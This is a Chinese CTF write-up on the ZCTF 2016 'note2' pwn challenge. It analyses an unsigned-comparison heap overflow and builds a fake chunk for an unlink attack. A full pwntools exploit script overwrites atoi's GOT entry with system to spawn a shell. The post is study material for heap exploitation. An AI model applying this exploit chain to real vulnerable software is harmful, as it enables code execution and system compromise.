美文网首页
ZCTF note2 2016 (Unlink)

ZCTF note2 2016 (Unlink)

作者: Sadmess | 来源:发表于2019-04-14 01:14 被阅读0次

分析程序

功能

首先,我们先分析一下程序,可以看出程序的主要功能为

  • 添加 note,size 限制为 0x80,size 会被记录,note 指针会被记录。
  • 展示 note 内容。
  • 编辑 note 内容,其中包括覆盖已有的 note,在已有的 note 后面添加内容。
  • 释放 note。

漏洞

  • 在添加 note 时,程序会记录 note 对应的大小,该大小会用于控制读取 note 的内容,但是读取的循环变量 i 是无符号变量,所以比较时都会转换为无符号变量,那么当我们输入 size 为 0 时,glibc 根据其规定,会分配 0x20 个字节,但是程序读取的内容却并不受到限制,故而会产生堆溢出。
  • 程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。
    第二个漏洞是否可shell,等我堆学完了再补充

主要分析第一个漏洞

unsigned __int64 __fastcall ReadLenChar(__int64 a1, __int64 a2, char a3)
{
  char v4; // [sp+Ch] [bp-34h]@1
  char buf; // [sp+2Fh] [bp-11h]@2
  unsigned __int64 i; // [sp+30h] [bp-10h]@1
  __int64 v7; // [sp+38h] [bp-8h]@2

  v4 = a3;
  for ( i = 0LL; a2 - 1 > i; ++i )
  {
    v7 = read(0, &buf, 1uLL);
    if ( v7 <= 0 )
      exit(-1);
    if ( buf == v4 )
      break;
    *(_BYTE *)(i + a1) = buf;
  }
  *(_BYTE *)(a1 + i) = 0;
  return i;
}

其中 i 是 unsigned 类型,a2 为 int 类型,所以两者在 for 循环相比较的时候,a2-1 的结果 - 1 会被视为 unsigned 类型,此时,即最大的整数。所以说可以读取任意长度的数据,这里也就是后面我们溢出所使用的办法。

具体实现

构造如下堆结构

                                   +-----------------+ high addr
                                   |      ...        |
                                   +-----------------+
                                   |      'b'*8      |
                ptr[2]-----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|------------
                                   |    unused       |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+  chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图1

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

执行之后

                                   +-----------------+high addr
                                   |      ...        |
                                   +-----------------+
                                   |   '\x00'+'b'*7  |
                ptr[2]-----------> +-----------------+ chunk 2
                                   |    size=0x90    |
                                   +-----------------+
                                   |    0xa0         |
                                   +-----------------|------------
                                   |    'a'*8        |
                                   +-----------------+
                                   |    'a'*8        |
                 ptr[1]----------> +-----------------+ chunk 1
                                   |    size=0x20    |
                                   +-----------------+
                                   |    prevsize     |
                                   +-----------------|-------------
                                   |    unused       |
                                   +-----------------+
                                   |  prev_size=0x60 |
fake ptr[0] chunk's nextchunk----->+-----------------+
                                   |    64*'a'       |
                                   +-----------------+
                                   |    fakebk       |
                                   +-----------------+
                                   |    fakefd       |
                                   +-----------------+
                                   |    0x61         |  chunk 0
                                   +-----------------+
                                   |    'a *8        |
                 ptr[0]----------> +-----------------+
                                   |    size=0x91    |
                                   +-----------------+
                                   |    prev_size    |
                                   +-----------------+  low addr
                                           图2

unlink之后就,就随便了

补充:ctf-wiki上要求处理chunksize(P) != prev_size (next_chunk(P),事实上只需修改chunk0的fakesize为0xa1即可

from pwn import *
p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#ontext.log_level = 'debug'


def newnote(length, content):
    p.recvuntil('option--->>')
    p.sendline('1')
    p.recvuntil('(less than 128)')
    p.sendline(str(length))
    p.recvuntil('content:')
    p.sendline(content)


def shownote(id):
    p.recvuntil('option--->>')
    p.sendline('2')
    p.recvuntil('note:')
    p.sendline(str(id))


def editnote(id, choice, s):
    p.recvuntil('option--->>')
    p.sendline('3')
    p.recvuntil('note:')
    p.sendline(str(id))
    p.recvuntil('2.append]')
    p.sendline(str(choice))
    p.sendline(s)


def deletenote(id):
    p.recvuntil('option--->>')
    p.sendline('4')
    p.recvuntil('note:')
    p.sendline(str(id))
p.sendline('123')
p.sendline('123')
# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0xA1) + p64(fakefd) + p64(fakebk) + 'b' * 64 #+ p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)
# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)
# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
#print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)
# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)
# get shell
p.recvuntil('option--->>')
p.sendline('/bin/sh')
p.interactive()

相关文章

  • ZCTF note2 2016 (Unlink)

    分析程序 功能 首先,我们先分析一下程序,可以看出程序的主要功能为 添加 note,size 限制为 0x80,s...

  • ZCTF 2016 Android 1 Writeup

    首先对APK的Java层代码进行分析.入口的逻辑在Login.attemptLogin函数中该函数调用Auth.a...

  • 文件目录操作其他(基于itop4412)

    1 删除文件目录链接 解除链接unlink• man 2 unlink• 解除链接函数• int unlink(c...

  • unlink attack --how2heap unlink

    unlink 简介 unlink用于将 chunk 从所在的空闲链表中取出来。基本过程如下: 执行unlink时的...

  • Android逆向笔记 - ZCTF2016题解

    这是2016年zctf的一道Android题目,样本和本文用到的部分工具在文章末尾可以下载 0x01 第一部分 静...

  • unlink:

    堆入门---unlink的理解和各种题型总结 unlink主要是通过unlink来实现向任意地址写入,这题主要是想...

  • 文件和目录(三)

    2016-01-31 link unlink remove rename函数 任何一个文件可以有多个目录项指向其i...

  • php删除文件

    php删除文件可以使用unlink函数 具体用法如下 unlink($filename);

  • unlink

    堆 pwn glibc中间维护的bins其实是用来存放malloc时从heap中割下来的堆,为了避免在heap中割...

  • Node.js fs模块-unlink、mkdir()、rmdi

    一. unlink()方法-->删除文件 1. fs.unlink('要删除文件的路径',回调函数) 2. 同步版...

网友评论

      本文标题:ZCTF note2 2016 (Unlink)

      本文链接:https://www.haomeiwen.com/subject/gygdwqtx.html